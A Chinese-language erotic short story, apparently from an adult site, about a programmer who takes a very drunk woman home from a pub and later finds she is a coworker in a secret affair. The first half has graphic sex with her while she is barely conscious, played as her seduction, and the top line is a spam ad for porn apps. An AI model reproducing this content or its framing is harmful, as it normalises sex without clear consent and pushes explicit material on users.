以下APP站长已检测强烈推荐下载(狼友必备)

捡来的AV女优

星期五晚上十一点。如果是平常的话,这时候我早就上床睡觉了。

我不太喜欢熬夜,隔天精神会很差,会写出一堆有bug的程式,而且不知道为什幺,看着天亮前的台北,会给我一种很沧桑很寂寞的感觉,所以我不喜欢目睹那一刻的光景。

今天有点不一样,我想喝酒,一个人喝,但是不想一个人在家喝。

办公室恋情有时候还真麻烦,明明是女朋友劈腿,可是离职的却是我,只因为我不想在那个环境里面对她、面对她故作可怜的姿态,以及面对同事们的各种耳语。

分手、离职、再就职,前前后后折磨了几个月,够我受的。

但今天不一样。

下星期一就要到新公司报到,总算能脱离过去,重新开始了。

该高兴的,可是我还是觉得心里有点空,想喝酒,但不能喝醉,因为没人能送我回家。

夜店是一个有趣的地方,在这里的人似乎都在大把大把地挥霍自己的青春,他们得到了快乐,却把所有的孤独和寂寞留在店里,越积越多。

对我来说,夜店永远是一个寂寞的地方,

儘管很吵很暗空气很差,偶尔还有来搭讪的男男女女,可是如果想一个人静静,还是可以的。

我坐在吧台角落,喝着今晚的第二瓶海尼根。

「一个人?」我循着声音找去,一个女人手里拿了两杯酒站在离我不远处,身上穿着淡紫色七分袖衬衫和同色系及膝A字裙,半长髮已显散乱。

怎幺看都不像是习惯混夜店的人。

「是啊。」我好奇地打量着她,她看来已有醉意。

「陪我喝。」她把一杯酒放在吧台上,很帅气地对我摇摇她手上的另一个杯子。

看看吧台上的酒,「莫斯科骡子?」我不由得皱起眉,她看起来不是酒量多好的人,怎幺喝这种酒?我看她连喝曼哈顿都有问题!

「你醉了。」我不是很想理她。

「一句话,喝不喝?」她很不耐烦地喳呼着。

或许是她的装扮明显和这里的气氛不搭轧,或许是我看出她脸上除了醉意,还有一些寂寞的味道……

我一言不发接过那杯莫斯科骡子,

这是她找上我的原因吗?两只有着相同气味的落单野兽?

有人愿意陪她喝酒,她倒是很高兴,大声说着:「一、二、三!」两个人一饮而尽。

一只骡子下肚,我顿时觉得整个胃像是要烧起来一样,「果然有点过头了。」我想。

看看那个女人,原本就有点醉的她,这时候更是摇摇晃晃。

怕她跌倒,我伸手扶住她,让她坐下。

「陪我。」她真醉了,说话像个小女生一样任性。

「你该回去了。」我不想招惹麻烦。

「陪我!」她伸手抓住我,一个不稳就扑到我身上来。

「你住哪里?我送你回去!」

一股气冒上来,怎幺搞的啊,哪来这个莫名其妙的女人?

一把捞过她的手,两个人跌跌撞撞地走出pub,「喂,你住哪里啊?」我忙着把她塞进我的车里,她却只是嘻嘻嘻地傻笑,问半天也问不出个鬼来,又不好随便翻人家的皮包,只好一边祈祷不要被警察伯伯临检到,一边狂飙回家。

我可以不管她的,可以任她醉卧在pub里,任凭某某某把她带走,或是等酒保叫醒她;但或许是那种寂寞的味道太相近也太熟悉,我无法丢下她不管,虽然我把她带出来之后就埋怨起自己的多事了……

扶着她上楼,她身上全是伏特加的味道,闻得我都快要醉了。

想赶快把她丢在床上闪人的,她却在进门后用力把我推到墙上,开始疯狂地吻着我。

她是个擅长接吻的女人,湿滑的舌头灵活得像蛇,在我口中不断进进出出的,手还不安份地在我胸前乱摸,我整个人被她吻得茫酥酥,下半身也开始有了反应。

她似乎察觉我的变化,很挑逗地用舌尖舔舐着我的耳垂和嘴角,一边还不忘媚惑地说:「陪我……」

「你不要这样!」我想推开她,可是身体实在使不上力,原来男人也是会被女人霸王硬上弓的。

她跪在地闆上,身手俐落地解开我的裤头,掏出我开始勃起的阴茎,先是用手套弄,等到它硬了,居然伸出舌头去舔它!

从根部到前端,她丝毫不漏地舔过之后,才把阴茎放入口中吸吮。

我怎幺可能受得了这种刺激,双手按着她的头,任凭我的分身在她口中,随着她舌头的移动,我觉得越来越兴奋,心跳和呼吸也开始不规律起来。

「啊……」我轻轻地低吼着,她套弄的速度也渐渐加快,才觉得自己就要射了,想把阴茎从她口中抽出,她却没有放开的意思,我只好就这幺射在她嘴里。

精液从她嘴角溢出来,她轻轻用手擦掉;迷濛的眼睛看着我,像是盯牢好不容易到手的猎物,她动手脱掉我的上衣,也把自己的上衣脱掉,连胸罩也一併除去,一对雪白浑圆的美乳就袒露在我面前,才刚射过的阴茎又开始硬起来。

她拉起我的手放在一只乳房上,她的另一只手则直接往我身下摸去,已经脱得差不多的她贴近我,口中说的还是那两个字:「陪我!」

「陪我!」她一直在重複这句话,

既然这是她要的结果,那我也没有什幺好顾虑的。

我粗鲁地吻着她,一只手环着她的腰,另一只手用力揉捏着她的乳房,以前对待女朋友都没有这幺粗暴过。

她很敏感,我的手指在她的乳尖周围轻轻画圈圈,

她胸前的蓓蕾一下子就挺立起来;大概是觉得有快感了吧,她的表情变得更诱人,不停扭动着身子,像是在向我求欢。

除掉她的短裙和内裤,把她的一只脚抬高环着我的腰,手指渐渐下移,直接寻到她的阴核,指尖在阴核上施力,或轻或重,或慢或快,爱液便从蜜穴里汨汨流出,她的口中也发出了好听的呻吟:「啊……嗯……嗯哼……」

虽然被我弄得欲仙欲死,但她的手仍然不忘在我阴茎上套弄着;趁其不备,将一根指头刺进她阴道里开始抽插……

「啊!」她尖叫出声,双手攀上我的肩,随着我手指的动作,她的腰肢也不自主地摆动着,她的身体一摆动,那一对美丽的双乳也跟着上下晃动着,我下身的慾望越来越膨胀,再忍一忍吧,我喜欢看女人在前戏时那种浑然忘我的表情。

「爽吗?」我在她耳边吐气,「喜欢吗?」

「嗯……」看得出来她正在情慾的浪潮里沉浮着。

她根本湿得一塌糊涂。

我把勃起得疼痛的阴茎前端对準她的阴道口,只让前端进入,轻轻地磨擦着她的小穴,她的身子扭动得更厉害,「快……」她急促地喘着气,要我进入。

「说『我要』!」此刻的我跟个坏人没两样。

「我要……我要……快进来……我要!」听到「指令」的她毫不犹豫,让我不得不怀疑我是不是捡了个AV女优回家。

我腰桿一挺,阴茎立刻没入她体内,她真是等不及了,不待我抽动,她的腰就自己先动了起来,不过这种姿势我很难施力,我一边插着她,一边把她抱起让她躺在餐桌上,她的两只脚悬空着,我抓着她的两只脚开始用力抽插。

「啊……啊……嗯……喔……啊啊……不要停……不要停……」

她非常投入地叫着床,要不她就是个喜欢而且惯于做爱的女人,要不……她就真的是个AV女优。

「啊啊……不行了啦……好深……啊……不行了……要高潮了啦……」

她的声音开始变得像哭叫,不过我知道她不是不舒服,而是超舒服。

抽送了一会儿,我在她体内感觉她的高潮,不久,我也高潮了,在射精前拔出阴茎,还来不及朝别的方向「发射」,就全射在她胸前了……这……不就跟A片一模一样吗?

高潮过后的她无力地瘫在餐桌上,而我似乎因着慾望的发洩稍稍清醒了些:「我在干什幺啊!连她是谁都不知道就上了她?」

我累了,一方面是身体的疲倦,一方面是刚刚精神太过紧绷,一放鬆就会觉得累。

但总不能这样把她丢在那里吧!

把不知道是累还是醉的她抱进浴室清洗,坐在浴缸边缘,让她背对着坐在我身上,我拿起沐浴乳轻轻为她搓洗。

「哼!算你赚到,不但有个旷男陪你嘿咻,还帮你洗澡!」

看着还昏沉沉的她,我心里忍不住要抱怨两句。

不过这个姿势实在很危险,

她的股沟磨蹭着我的阴茎,而我的手为了清洗在她的胸前和私处游移,一不小心可能又要大战三百回合。

水柱沖洗到她下体时,她轻轻动了一下腰,这一动,我的小弟弟也跟着不安分,(喂!兄弟,我从来不知道你是一夜七次郎啊!)

一个小小动作引起的连锁反应就是她又湿了,我又硬了。

她又开始想要,难耐地扭动着身体,我轻咬住她的耳垂,一手爱抚她的玉乳,一手在她身下揉捏,感觉她的爱液氾滥成灾,我站起来,让她稍微前倾,这次我没有问她要不要,从背后就直接进入她体内。

「啊!」她或是没有想到我突然的动作,表情和身体明显地僵直了一下,我扶着她的腰,抽插的速度比刚刚更快更猛,大概是每次都有顶到花心,她的表情比刚刚更淫蕩了,「啊……啊……不要……啊……」她的声音在浴室里迴响,那回音更是催情,她的身体被氤氲的水气包围,全身都是漂亮的粉红色。

她的手似乎想扶着什幺东西,但却无处可放,只好揉着自己的双乳,不过这也只是让她更快高潮罢了。

在浴室做爱的好处是沖洗方便,做完今天的第二次之后,我快速地把我们两个全身上下沖洗乾净,我是绝对不要再来第三次了,开什幺玩笑,我可不想不到三十岁就精尽人亡。

动手把她的衣服穿回去,让她躺在床上,我静静地看着她,素净的脸庞怎幺看也看不出来会有如此激情的演出,熟睡着的她週身仍散发出一种寂寞的味道,那种寂寞比我更深,深到也许连她自己都没有发现她原来是寂寞的。

把地闆清理乾净,我拎着一件毯子窝进沙发,还来不及多想些什幺就沉沉睡去。

隔天醒来时已经近中午,我起身呆坐了一会儿,发现茶几上多了一张纸条,是她写的。

「很抱歉给你添了麻烦。」

把纸条翻过来又翻过去,就这样?

十二个小时前我捡回家的AV女优就这样消失了。

就当是一夜情吧!

两个素未谋面的陌生人偶然在pub遇见了,在酒精的催化之下有了肉体关係,如此而已,在这个城市里并不是什幺稀奇得不得了的事。

但我仍然记得,寂寞彷彿从她身上的毛细孔中逸出的感觉。

平静地度过了週末,星期一早上,我到新公司正式述职,一个只知道我的工作经历,对我的人生过往却一无所知的地方。

「我跟各位介绍我们的新同事,张毓宁,在之前的公司也是担任Programmer,希望大家相处愉快。」

工程部的经理朗声把我介绍给同事们。

「大家好,我是张毓宁,弓长张,锺灵毓秀的毓,安宁的宁,名字虽然有点像女生,不过我保证是百分之百的男人。」

这是我每次自我介绍时惯用的语句,如果没有意外的话,这样的介绍词不但可以让大家容易记住我,而且有助于气氛的缓和。

经理带着我一一造访同事们的座位,和大家握手致意,工程部人虽然不多,只有十来个,但这幺一路寒暄下来还是有点累。

最后终于回到我的位子上,经理「钦点」了我隔壁的「高瘦男」同事,要他帮我熟悉环境和工作内容。

「我叫林伟诚,叫我伟诚就好;有什幺问题问我就可以了,不要客气。」

伟诚伸出手来,握手的力道和他的外表一样阳光热情。

伟诚一整个早上都在带我了解工作内容,包括目前在进行的Case和Programmer要负责的部分等等,虽然写程式的工具和语言都差不多,但不同的Case所要使用的程式複杂度不一样,而且程式并不是写好就好,必须经过反覆的测试才能确定是否能交货。

一下子就到中午,肚子老早就饿得我头髮昏,伟诚拍拍我的肩:「吃饭先吧!下午我带你到公司其他部门去看看。」

在公司附近的麵店解决午餐,两个人聊的不外乎是我以前工作的情况。

我这个人是比较谨慎的那种,讲难听一点是心机重;面对一个初识的人,我不习惯透露太多有关于自己的事,于是当伟诚问我为何离职时,我只轻描淡写地说:「上面的人太猪头了。」

伟诚就不一样,阳光得不得了,笑起来彷彿嘴角会闪耀着光芒的那种,说话和思考都是直来直往的,「所以我只能乖乖坐在电脑前面写程式,如果是其他工作啊,」

伟诚摇摇头,「大概不到三天就被炒鱿鱼。」说着说着又笑起来。

我看着他苦笑,他这种个性的确是容易吃亏的,但至少我不用担心我隔壁有人会扯我后腿。

下午的工作时间才开始,伟诚就拉着我要到其他楼层去。

「唉哟!工程部又没多少女生,而且一个比一个不像女人!」他哀怨地说。

我被他逗笑,「你当心被女同事听到!」

「唉呀,她们早就听到耳朵长茧了啦!」伟诚摊摊手,一付无可奈何的表情。

一边走着,一边听着伟诚向我介绍其他楼层的其他部门,他还不忘提醒我哪一楼的哪一个单位有年轻的正妹;我看他不是来介绍公司概况的,根本是存心打混不想工作,「被你发现啰?」他搔搔头,「写程式是会累的嘛!」

回到座位上,我想起早上和大家见面时,有一个位子是空的,我开口问伟诚:「今天有同事请假是不是?」

「喔,对啊!我刚刚不是说工程部的女生一个比一个还惨吗?不过啊,可有一个例外……」他朝那个空位努努嘴,

「那是杜蕾的位子,杜甫的杜,蓓蕾的蕾,是个大美女兼大好人喔!而且能力超强,别人抓不到的bug她都有办法抓出来!」

伟诚眼里露出崇拜的眼神,我不怀好意地亏他:「干嘛?哈人家啊!」

「你在开什幺玩笑?」伟诚连忙否认:

「我是有女朋友的人哎!而且这个杜蕾虽然是个大好人,不过仅限于一般状况;要是想把她啊,啧啧……她马上就会变成一座冰山!」

「这幺骄傲啊!」听着伟诚的描述,我不禁皱起眉;我不喜欢这种人,好像自己多了不起似的……才分手的前女友就是这样,但过去我却认为这是一种女儿娇态,是可爱的,直到她劈腿被我抓到,亲口承认,我才了解我只不过是美化了她的缺点罢了。

「你误会了啦!我说的『冰山』不是那种摆在外头的骄傲啦,她只是不愿意发生办公室恋情啦!而且人家也有个男朋友在美国呢!哪看得上我们这些台客?」伟诚看我误会,忙着解释。

「喔。」我看着杜蕾的座位,好奇地猜想着她的模样:长髮飘逸、腰不盈掬?眉如黛、唇如丹?巧笑倩兮、美目盼兮?或者……她根本是个像王熙凤一样的辛辣角色?

第二天早上到公司的时候,伟诚已经埋首在电脑前面,「哇!这幺认真啊!」我开玩笑地酸他一句。

「去!认真你个大头啦!」伟诚把电脑萤幕转向我。

「新接龙?」我差点昏倒。

「喂,不要瞧不起新接龙好不好?我脑袋打结的时候可都是靠它呢!」伟诚白我一眼,满脸不屑。

我坐下来开始啃我的火腿蛋三明治和冰红茶,这几乎已成为我早餐的固定菜色,一个人住之后就养成了这习惯;早餐店一大堆,有好吃的有难吃的,还有难吃得要死的,但火腿蛋三明治的味道通常都不会差太多。

「喂,杜蕾来了!」伟诚小声叫着,

我抬起头,却只看到她坐下的背影。

「走,我带你去跟她打招呼!」

伟诚不管我的三明治还没吃完,逕自走向杜蕾。

我看见他跟杜蕾说了些什幺,连忙把最后一口三明治塞进嘴里,才站起来要走过去时,杜蕾站起来回头看着我这边,她的表情瞬间凝结,脸色发白,而我差点被那口三明治给噎死──

是她!那夜我捡回家的AV女优!

那夜淫靡而放纵的情景一下全浮现在脑海;现在的她,半长髮整齐地束在脑后,一样穿着衬衫和及膝裙,完全无法想像她是会在pub找陌生人喝酒的人,更无法想像她在我身下尽情享受性爱的模样。

我故作镇定走向她,神经大条的伟诚似乎没有看出我和杜蕾的表情都很奇怪,「毓宁,这就是我昨天跟你说的那个杜蕾,」然后他接着对杜蕾说:「杜蕾,这是我们昨天新来的同事,张毓宁。」

我伸出手,「你好,我是张毓宁,弓长张,锺灵毓秀的毓,安宁的宁。」

杜蕾明显迟疑了一下,嘴角僵硬地笑着,却还是伸出手来;两个人浅浅地握了手,又各自回到座位上,在我坐下之前,刻意看了杜蕾一眼,她还看着我这边,似乎忘记要坐下,而脸色,还是跟纸一样苍白。

我想我没有很在意杜蕾的事,应该说,我不太在意她清醒时的样子。

人是很虚假的,我并不是说每个人都刻意製造一个假象来面对这个世界,不过不可否认的,一旦有了「我正在面对世界」的这种意识后,我们就再也无法以原原本本的自我来面对别人了,人人皆如此,只是程度上的差异罢了。

像我,伪装的程度可能就多一点;像伟诚,可能就少一点。
至于杜蕾,因为还没有见识到她戴起面具的样子,所以,不知道;
但对于她不清醒时所发出的寂寞讯息,我必须说,印象很深。

前女友劈腿长达一年,后来被我抓到,劈腿的对象明显不如我,女友哭得梨花带雨,却完全没有想复合的打算,失望之余,我气急败坏地质问她怎幺能背叛我,她的眼神凝望着远方,用着很受伤的口吻:

「我太寂寞了。」

「你寂寞?」我完全不能理解,「我们天天都在一起,你居然说你寂寞?」

「我一开始不是那幺容易寂寞的人,可是和你在一起之后,才发现你的寂寞根本就是个黑洞,会把我的一切全部吸个精光什幺都不剩;我曾经很努力地想填补你的寂寞,可是我根本办不到……」

我愣住了。和她交往两年多以来,这是我第一次听她说出对我的观感,也是我第一次感觉到她其实是个有自我主张的人。

分手分定了,但我还是做足了面子给她;绝口不提分手的原因、自动递辞呈、拒绝任何的挽留。在离开先前的环境之后,一切却彷彿眼前的鳞片掉落般清楚起来:我是个溺水的人,想活命的话就非得抓住什幺不可,

而「女朋友」就是我的浮木,这个「女朋友」,其实谁谁谁都可以。

更神奇的是,和女朋友分手后,我发现我已经学会游泳的技巧。

或许正因为如此,面对杜蕾,儘管意外,但我并不觉得尴尬,她只不过是这个城市中,一个背负着根深蒂固的寂寞的人。

而杜蕾,安静了一整天,在接近下班时间拨了通内线给我。

「我是杜蕾。」她刻意压低声音。

「喔。」

「请你五分钟之后到顶楼好吗?我有话想跟你说。」

「喔。」我面无表情地应着。

挂掉电话,我看见杜蕾随即离开了座位,她是不希望有人知道她找我说话吧!

五分钟后,把写了一半的程式存档,

「我去人事室一下,好像有些资料不太齐。」我对伟诚说了个小谎。

「喔,去吧去吧!」心思单纯的伟诚大手一挥,好像叫我不要吵他专心。

搭电梯到了楼顶,这里是大楼里唯一合法的吸烟区,地上丢满了烟屁股。

杜蕾背对着我,以很慵懒的姿势靠在围墙上,紧束着的头髮此刻散在风里,我不太会形容眼前的景象,但我有一种感觉,如果我没有好好地看着她,她也许就会这幺消失了也说不定。

静静地看了她一会儿,「杜蕾。」我出声喊她。

杜蕾转过身来,脸上有着和在办公室完全不同的表情:没有慌张、没有惊吓,只有平淡。

「果然跟我是同类。」我这幺想着,慢慢走向她。

「想跟我说什幺?」我看着远处林立的办公大楼。

「上礼拜五……」她似乎迟疑着该怎幺开口。

「上礼拜五?」我接过她的话,「你拿了一杯酒过来,逼我陪你喝,喝完之后就醉啦,你醉了之后我就把你带回我家啊!你醒了之后就走了,不是吗?」我只讲了重点。

「就这样?」她完全不相信。

「刚刚那是重点啦,至于细节嘛……就你一直吵啊,一整个晚上都在说『陪我』;回我家之后还强吻我、脱我衣服、强姦我啊!你还想知道什幺?」

我看着杜蕾,她脸上的表情一下子变得紧张,脸色一阵青一阵白。

「我强姦你?」杜蕾大声说着,后来发现自己好像太大声了,又降低了音量:「我强姦你?」

「的确是你先脱我衣服的。」我强调了「你」这个字,「好吧,我再说仔细一点好了;你强吻我、勾引我勃起,然后脱掉我的衣服帮我口交,之后你还嫌不够,就把自己的衣服也脱了,拉我的手去摸你的胸,还摸我的小弟弟,当然就做了嘛!做完之后,我想总不能这样把你摆着,就帮你洗澡啊,洗着洗着你又要,那我能怎幺办?就又来一次啊!不过那个晚上就两次而已,加上你帮我口交也不过两次半,而且都是你逼我的……」

我仔细观察着她脸部表情的变化,真是比川剧变脸还精彩。

杜蕾的脸到最后已经红得不像话,「不要说了!」她大声地打断我。

「是你自己要听的。」我耸耸肩。

「你想怎幺样?」杜蕾的双手交叉在胸前,心里似乎作了谈判的準备。

「我并不想怎幺样。」我面无表情看着杜蕾,坦白说,我并不喜欢她现在的态度,并不是每个人都会抓着别人弱点来当武器。

「不想怎幺样?」杜蕾一脸不信。

「我说真的。」我长歎一口气,

「和你刚好在同一个公司只是意外,我在遇见你之前就已经决定好来这个公司上班,而且……当作是两个陌生人的一夜情就好,天亮之后还是陌生人,我没有阴险到要拿这个当把柄威胁你什幺;哪,我才第一天认识你,有什幺好威胁的?我和你的事也没有人知道,就算说了有没有人要信还是个问题咧!对我来说,更重要的是……」

我停下来整理一下自己的思考。

「更重要的是什幺?」杜蕾此刻的表情已经缓和许多,对我的敌意也不若刚刚那样明显。

「更重要的是你在pub之所以找上我的原因。」我看看杜蕾,「你怎幺会一个人拿着两杯酒到处找人陪你喝呢?又为什幺会找上我呢?我看到你在pub里喝醉的样子,我觉得你是个好寂寞好寂寞的人,寂寞到要找一个跟你一样寂寞的人来陪你,对,刚好就是敝人在下我。后来看到你睡着的样子,我开始觉得寂寞根本就是你身体组成的一部分,太根深蒂固了,我怎幺想都觉得很不可思议。」

杜蕾看着我,半晌不说一句话,「我想你是村上春树看太多了。」她丢下这幺一句话,转身离开了顶楼。

村上春树看太多?

我摇摇头,不要一听到「寂寞」这两个字,就认为这是村上春树的专利好不好?其实我还比较喜欢吉本芭娜娜呢!

杜蕾对我还是有戒心的。

这两天她虽然没有再跟我说过话,但是从她的眼神里,我知道她对我还有怀疑。

对我来说那并不重要,虽然我承认我对杜蕾有兴趣;我对她的兴趣是建立在她不为人知的那一面,而不是大家都看得到的美丽或能干之类的。

礼拜五晚上工程部为我开了一个迎新会,刚听到要办迎新时,我的确目瞪口呆了好一阵子,又不是大学生了,还搞什幺迎新?不过听说咱们经理是个爱热闹的人,再加上同事们一起吃吃喝喝的确能缩短大家的距离,大家也很高兴能有机会用公费堂而皇之地大吃大喝,即使我不是个太喜欢跟别人装熟的人,却也没有任何反对或质疑的必要。

迎新会找了一间有包厢的餐厅,订了两桌,一群人关在包厢里又叫又闹的。

一顿饭吃完已经很晚了,有些同事仗着明天不用上班,又吆喝着去续摊,大家三三两两地离开,喝得醉醺醺的经理也坐上计程车回家。

晚上我有些喝多了,头略略发晕,是没办法开车回去的了。

才想往公车站的方向移动──

「张毓宁!」身后有人叫我。

我回头一看,是杜蕾。

「怎幺了?」我以为她这辈子都不会再跟我说话咧!

「你怎幺回去?」

「坐公车啊!喝了酒不好开车。」我很理所当然地说着。

「我送你回去!」杜蕾也很理所当然地说着。

「送我回去?不用不用,谢谢你的好意。」我连忙拒绝。

上次把她带到我家的「遭遇」我还记忆犹新,虽然这次是我喝的比较多,不过如果我又把她给怎幺样了,那可真的跳到黄河也洗不清;第一次还可以说是「意外」,不过意外通常是不会发生第二次的。

「你车停哪?」杜蕾似乎不想理会我的拒绝。

「你没喝酒吗?」对,如果她也喝了酒,只要一滴,我就可以拒绝她。

「一滴也没喝。」我的计谋彷彿被她识破似的,「我们那桌女生多,大家都喝茶。」

看同事走得差不多了,「你没有必要这幺做。」我说话开始没了顾忌。

「要怎幺做是我的自由,我只是想送一个喝了酒的同事回家,而且我发现我们还住得蛮近的;」杜蕾瞟了我一眼,「怎幺,不行吗?」

「就这样?」我问她。

「你说呢?」她直视着我的眼睛,「虽然我只观察了你三天,不过我觉得你不是坏人,而且,从某方面来说,我承认我们是同类。那天在楼顶你对我说的话,我想过了,的确很有道理,虽然我们第一次见面的情形不太好,不过我还是想谢谢你。」

杜蕾的语气越来越温和,表情越来越放鬆。

「真心话?不是想藉机送我回家,然后在我家下毒?」我故意开她玩笑。

「嘿嘿,想被我毒死,你后面排队去吧!」杜蕾对我皱皱鼻子。

上了车之后,「难怪伟诚说你是个大好人。」我说。

「喔?」杜蕾挑挑眉,「他这幺说我?」

「他说你对谁都好。」我闭上眼睛,有点累了。

我听见她冷笑一声,没再说话;我也不想再搭理她什幺,虽然我还有好多问题想问她,可是……现在不是时候。

回到公寓楼下,杜蕾坚持送我上去,「谢谢你,你可以回去了。」说真的,我不希望杜蕾在这里停留太久。

杜蕾点点头,站在玄关那儿穿鞋,「我问你──」她突然转过头来。

「什幺?」

「你说我的寂寞是很根深蒂固的,」杜蕾咬了咬下唇,「为什幺你会这幺觉得?」

我就说吧,就连她自己都没有感觉到自己原来是寂寞的。

「只是感觉。」这是实话。

「喔。」杜蕾对我的答案显然不能感到满意。

「快回去吧,要开我的车也没关係。」我再一次催促她。

才刚结束一段恋情的我,并不想太快再和别的异性建立朋友以外的关係,尤其是缺乏情感基础的关係;杜蕾和我之间已有了恶例,不能再有第二次,更何况我并不是什幺理智得不得了的男人。

「那……车先借我,明天再还你。」

「嗯。今天谢谢你送我回来。」口头上还是要谢谢人家。

杜蕾下楼后,我从阳台看着她离开,心里开始複杂起来。我其实很想知道她的寂寞从何而来,很想问她那天为什幺会跑去不常去的夜店,但……我和她只是同事,才认识一个礼拜,再怎幺说那些问题都太私人了;更何况她的寂寞应该交给她的男朋友去解决,而不是我。

「铃……铃……」

「是谁啊?一大早打电话来?大爷我还没睡够呢!」

迷迷糊糊里听到电话的声音,被吵醒的我心里乱不爽一把,本来想不去理它的,不过那电话好像知道我打算来个置之不理,铃声一点都没有停下来的意思。

「唉哟,吵死了啦!」我输了,不耐地踢开被子,走到客厅伸手接电话。

「喂!」到底是哪个没常识的家伙啊!

「喂?」对方听到我声音里的怒气,声音畏缩起来:「我是杜蕾。」

「啊?」我愣了一下,没想到是她,也没想到她会这幺早打电话来。

「杜蕾?你这幺早打电话来干嘛?」我看看墙上的时钟,「小姐,才九点哎!」

「对不起,我没想到吵你睡觉了。」杜蕾在电话那端连忙道歉,「我把车开来还你,现在就在你家楼下。」

「什幺?」我大惊,真是被她打败了,「那……你上来吧!」

杜蕾穿着简单的T恤和牛仔裤,看起来还有些学生气息,和平常在办公室精明干练的模样完全不同。

「对不起吵你睡觉。」杜蕾见我睡眼惺忪、蓬头垢面的样子,连忙道歉。

「啊……没关係,」我摇摇手,叫她别介意,「只是我假日都睡得比较晚。」

「喔……」杜蕾看起来不太像只是来还车的。

「先进来吧,我换个衣服梳洗一下,很快就好。」我想她还有话说,先请她进客厅坐。

梳洗好,我进厨房倒了杯水给她。「怎幺?还有事想问我?」

「啊……是啊。」杜蕾喝了一口水,舔舔乾涩的嘴唇,「我想问你……你觉得我是个什幺样的人?而且,我觉得你很防我,为什幺?是我那天在楼顶说话的态度太差了吗?」

「啊?」怎幺有人一大早来问这种没头没脑的问题?

「我……我其实不太喜欢跟任何人有太深的交往,所以当你跟我讲伟诚说我对谁都好的时候……我其实很讶异。」

杜蕾有些吞吞吐吐。



「你怎幺会来问我呢?」

杜蕾的态度让我费解,一开始是那幺冰冷不可高攀的样子,怎幺昨天那幺好心送我回家?今天一大早又跑来问我这些奇怪的问题?「我一点都不了解你,也不太认识你,你这不是交浅言深了吗?」

我看看杜蕾,「为什幺不去问其他比较资深、认识你比较久的同事呢?」

「就是因为认识得久,所以不能问。」杜蕾定定地看着我,「我是用另一张脸在上班的。」

我看着她,不发一语。我懂她的意思。

「你说得对,我很寂寞。虽然看起来好像很厉害的样子,可是离开了办公室,我就什幺都不是了。」杜蕾在等我的回答。

「你既然是用另一张脸在上班,为什幺不也用那张脸来面对我算了?」

我还猜不出杜蕾的用意。

「至于你离开办公室之后的事,也不该由我来管,你有男朋友的不是吗?虽然他在美国,可是科技这幺发达,远距离恋爱的维持应该没有那幺困难了吧!」

杜蕾听到「男朋友」三个字,脸上顿时泛起一片嫣红,但语气却是苦涩的:「我只能等他联络我。」

「这是什幺道理?只能等他联络你?」我打心底讨厌这种男人,无法帮助自己心爱的人,却让她去找路人甲诉苦,这算什幺?

「我是第三者。」杜蕾说着,五个字,但足以说明一切。

杜蕾是第三者?

「他打算怎幺办?」

在我的认知里,劈腿者的态度才是决定事情如何发展的关键因素。

「他要我耐心等一等,他会跟他老婆离婚的。」杜蕾说着,我能感觉到她还有期待。

「可是却不让你联络他?」我质疑着,「我觉得他根本是在骗你。」

「有时候我也会这幺觉得。」杜蕾苦笑。

「可是只要一收到他的电话留言或e-mail就会好高兴好高兴,觉得我的等待是值得的;如果很久都没有他的消息,我就会觉得好失落,觉得自己是不是被骗了?说不定他只是在敷衍我……」

「『家花哪有野花香』的道理你懂吗?得不到的,永远最好。」

「我当然知道,」杜蕾淡淡地说着,「所以你那天说,看到我第一眼就觉得我是个好寂寞好寂寞的人,我突然有种受打击的感觉;我知道我寂寞,可是如果这种寂寞连一个陌生人也看得到的话,那就是真的很寂寞了。」

她看看我,「从来没有人跟我说过我其实是个很寂寞的人,所以你让我觉得……很不一样,我不晓得……不晓得是不是应该……」

我伸出手阻止杜蕾再说下去。

「你不要说了。我能看出你的寂寞,是因为我也是这种人,这只是同类之间的一种辨识罢了,你不要想太多。」

「昨天……」杜蕾又自顾自地说了起来,「我其实不太想回家。」

「天啊!别又来了!」我心想。

「每天回家都急着开电脑、听答录机,然后看着一个人也没有的家……」杜蕾的眼睛开始泛红。

「你完全没有搞清楚状况。」我站起身,语气刻意冰冷,「这段感情是你自己选择的,是你要把决定权放在那个男人身上,让他决定你可不可以继续爱他的;在你决定要爱他的时候,你就应该考虑到这种寂寞是无可避免的。

换句话说,是你容许他造成你的不安和孤独,你不去找他,反而来问我这个跟你半生不熟的人为什幺能看出你的寂寞?这样不对吧!如果你不想等了,不想再继续下去了,那就分手啊!」

「可是我真的很爱他……」杜蕾抬起脸,一脸无奈。

「你只能选一个。」我也很无奈啊!一大早被挖起来听同事的恋爱烦恼。

「要不就是继续等,等到有一天柳暗花明,但同时要背负等待的寂寞;要不就是跟他说Bye-bye,不用那幺痛苦,但最后你还是一个人。」

杜蕾一言不发,看得出来认真地在思考我所说的事情。

「最糟糕的是什幺你知道吗?」我停了一下,看看杜蕾,「是你花了大把青春在他身上,最后他却什幺都没有给你,既让你寂寞,又让你孤单。」

杜蕾继续沉默着。

「寂寞到非得到pub找陌生人喝酒?寂寞到要找一夜情?这就是他给你的?」我不屑地说着,对于那种想要两面讨好,却不肯吃半点亏的人,我是打从心底鄙视,尤其还是和我一样的男性同胞,唉呀!真是男人之耻……

听到「一夜情」三个字,杜蕾的脸马上红起来,

「你不要说得一付我很放蕩的样子好不好?我也只有找过那幺一百零一次啊!她皱起眉,似乎对我的说法感到不满。

「你还敢讲!那天强吻我还强姦我,我还以为捡了一个AV女优回家咧!」我毫不客气地呛回去。

「我哪有!」杜蕾也呛回来。

「好……好……」我赶紧踩煞车,

万一等会儿她说「那来试试看」什幺的,那才真是一发不可收拾。

「回到你最初的问题,你问我觉得你是什幺样的人,我说你在工作是个很有能力的人,人也漂亮,和同事相处都不错;只不过恋爱让你很寂寞,就这样。」

「至于你问我是不是在防你……」我想了一下,「是,我的确在防你。我这个人心机比较重,而且我和你一点也不熟,一下子很冷淡地问我『你想怎幺样』,一下子又主动说要送我回家,现在又在我家跟我讲一堆应该跟手帕交说的话,我真的搞不清楚你想干嘛哎!另外……坦白说,我被我前女友劈腿,才分手没多久,所以我现在不想和任何异性产生朋友以外的关係,OK?我和你之间的事只是意外,我需要跟你保持距离,这样你满意了吗?」

「楼顶那次……我真的很抱歉。」杜蕾看我说着说着,气又冒了上来,连忙道歉。

「我只是有点慌了,没有想到会和你变成同事。」

「所以……基本上你是个亲切的人,只是不跟别人有太深的来往?」我半信半疑。

「我想是吧!」杜蕾歪着头,一脸认真。

「好了。你的问题我已经回答完了,你也知道我想和你保持距离,是不是可以……」我委婉地请她离开。

「还有一件事。」杜蕾坐在沙发上,一点都没有要走的意思。

「什幺?」怎幺还没完啊?

「我饿了,一起去吃早餐吧!」杜蕾用着理所当然的口气说。

